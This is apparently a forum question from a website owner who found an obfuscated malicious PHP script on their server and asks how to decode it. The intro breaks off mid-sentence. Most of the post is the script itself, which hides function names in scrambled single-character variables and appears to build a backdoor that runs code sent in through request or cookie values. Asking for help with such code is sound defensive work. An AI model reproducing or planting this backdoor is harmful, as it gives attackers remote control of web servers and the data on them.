How do I go about decoding this malicious PHP script? [duplicate]

I came upon this script just by luck, actually. Ironically, it’s stored in a protected folder on my website and I don’t think

<?   $  catches ='r'; $  comforter ='$  r)ciEVi'; $  heroin = 'SgD'; $  intimal = 'T'; $  eldin = 'e';$  introspections= 'V';$  fugitive ='>v"__u)_'; $  lolly= ';rcv';  $  genially= '[aodka]:';  $  constellation ='_';$  grouped= '@'; $  clea = 'I';$  carlie ='6';  $  dialects = ')';  $  bun= 'ieagpsu'; $  grumbling = 'KSJ';  $  anne = 'i'; $  compiling= 'S_"efR"';$  exacerbated = 'l'; $  easement= '$  PPbct';$  bibliographies= '_sb';$  enlarge='I'; $  honeymooning = 'e"V,y_('; $  cal ='I';$  brushfire ='bR"='; $  diana= ')';$  domineer= 'OBTX';$  conceiving = 'f';  $  arden= '"';$  elementals='[ai'; $  elvira= ')H';$  conjunction='m_b)_O';$  categorizing= '['; $  consumption='(o?te'; $  laming = 'GU'; $  cockeye = ')';$  hinda='Ttr[nE"((';$  badly ='?'; $  distinguishing='ec (H'; $  circumstance = ';'; $  dad ='t';$  height= 'l(r]';  $  herby='B';$  chanticleers= 'dQ';$  isometric='Lvs'; $  blushing ='Y'; $  enthusiasms = 'aUe(i$  e'; $  loveliness= 'K'; $  develop = 'Q';$  gunter = 'v$  I('; $  celebrity='r';$  kirk='h'; $  fetch= '];vS';  $  lamentations= 'u';$  deeding='iCOaa$  s$  E';$  earphone = '[';$  ascetic ='tV';  $  down = ')';$  criminals = '_';$  barring= 'a';$  larceny = '_^vEtRga';  $  autocollimator = 'K'; $  granaries='W'; $  centerpiece = '_';$  darned= 'ree)kHe)e';$  basses= 'n$  t(rd)';$  dong= 'rpSeEUs';$  bridal='c';$  dealt= 'E'; $  italy='i';  $  chaparral ='T';$  dollie =';t=$  UKi'; $  extendible = 's'; $  artichoke ='Nafiu'; $  apologetically= 'i';  $  decent=']'; $  atop='d'; $  forum= 'a'; $  broomcorn='o'; $  bullets= 's'; $  judged=','; $  fruit= 'A'; $  crucial= 'eTT';$  dielectrics = 'a'; $  facings='HrrF(]B'; $  ammamaria = 's`ye'; $  crabapple = 't';$  deans='$  ';  $  auras='shHnTe';$  chillers= 'TsZ:('; $  ambled = 'R'; $  eye = '4P$  C"M?';$  graham= $  bridal.  $  facings['2'].$  auras[5] .$  dielectrics . $  crabapple. $  auras[5]. $  centerpiece .$  artichoke['2'] .$  artichoke['4'] . $  auras['3']. $  bridal.$  crabapple. $  apologetically. $  broomcorn . $  auras['3'] ;$  barker= $  distinguishing['2'] ;$  droll = $  graham ($  barker,$  auras[5]. $  larceny['2']. $  dielectrics .$  height['0'].$  chillers['4'].  $  dielectrics .$  facings['2'].$  facings['2'] . $  dielectrics .$  ammamaria['2'] . $  centerpiece .  $  dong['1'] .$  broomcorn. $  dong['1']. $  chillers['4'] .  $  artichoke['2'] . $  artichoke['4'] .$  auras['3'].$  bridal .$  centerpiece. $  larceny['6'].$  auras[5].  $  crabapple .$  centerpiece . $  dielectrics.  $  facings['2'] .$  larceny['6'] .$  chillers['1'].$  chillers['4'] . $  basses['6']. $  basses['6']. $  basses['6'] .$  dollie['0']);  $  droll ($  elnar['2'], $  eye['3'],$  ammamaria['2'], $  conjunction[2] ,$  dollie['0'] , $  larceny['6'] , $  baldwin, $  grouped,  $  chillers['1'],$  domineer['3'] , $  eye['2']. $  apologetically . $  dollie['2'].$  dielectrics. $  facings['2'] .$  facings['2'] . $  dielectrics.$  ammamaria['2'] .$  centerpiece . $  conjunction[0] . $  auras[5] .$  facings['2'].$  larceny['6']. $  auras[5] .$  chillers['4'] .$  eye['2'] .$  centerpiece . $  ambled .$  dealt . $  develop. $  dollie['4'] . $  dealt. $  dong['2'] . $  chillers['0'].$  judged. $  eye['2']. $  centerpiece .$  eye['3'] .$  deeding['2']. $  deeding['2'].$  dollie['5'].  $  gunter['2']. $  dealt .$  judged .$  eye['2'] . $  centerpiece . $  dong['2']. $  dealt .$  ambled .$  ascetic['1'] .$  dealt.$  ambled .$  basses['6'] .$  dollie['0'] . $  eye['2']. $  dielectrics .$  dollie['2']. $  apologetically.$  chillers['1']. $  chillers['1'].$  auras[5].  $  crabapple . $  chillers['4'].$  eye['2'] .$  apologetically.$  earphone. $  eye['4'] . $  apologetically .$  artichoke['4']. $  larceny['2']. $  conjunction[2] .$  darned['4'] .  $  crabapple. $  chillers['1'] .$  auras['1'] . $  eye['4'] .$  facings['5'] . $  basses['6'] . $  eye[6] .$  eye['2'] .$  apologetically .$  earphone.$  eye['4'] . $  apologetically . $  artichoke['4'] .  $  larceny['2']. $  conjunction[2] .$  darned['4']. $  crabapple. $  chillers['1'].$  auras['1']. $  eye['4'] . $  facings['5'] . $  chillers[3] .$  chillers['4'] .  $  apologetically.$  chillers['1']. $  chillers['1']. $  auras[5] .$  crabapple . $  chillers['4']. $  eye['2'] .$  apologetically .$  earphone. $  eye['4'] .  $  auras['2'].$  chillers['0'] . $  chillers['0'] . $  eye['1'] .$  centerpiece.  $  gunter['2']. $  dollie['4'] .$  ascetic['1'] . $  facings['6'] .$  dollie['5'] . $  chillers['0'].$  dong['2']. $  auras['2'] .  $  eye['4'].$  facings['5']. $  basses['6'] . $  eye[6].$  eye['2'].$  apologetically. $  earphone. $  eye['4'].$  auras['2'] . $  chillers['0']. $  chillers['0'] . $  eye['1'].$  centerpiece .  $  gunter['2']. $  dollie['4'] .  $  ascetic['1'] .$  facings['6'] .$  dollie['5']. $  chillers['0'] . $  dong['2'] . $  auras['2'] .$  eye['4'] .$  facings['5'] . $  chillers[3].$  atop . $  apologetically. $  auras[5].$  basses['6'] .$  dollie['0']. $  auras[5]. $  larceny['2'].$  dielectrics .  $  height['0'] .$  chillers['4'].$  chillers['1'] .$  crabapple. $  facings['2'] . $  facings['2'] . $  auras[5]. $  larceny['2'] . $  chillers['4'] .$  conjunction[2].$  dielectrics . $  chillers['1'] .$  auras[5] . $  carlie . $  eye['0']. $  centerpiece. $  atop . $  auras[5] . $  bridal .$  broomcorn. $  atop.  $  auras[5]. $  chillers['4']. $  chillers['1']. $  crabapple. $  facings['2']. $  facings['2'] .$  auras[5].$  larceny['2'] . $  chillers['4'] . $  eye['2'] . $  dielectrics. $  basses['6']. $  basses['6'] .$  basses['6']. $  basses['6'].$  dollie['0']); ?>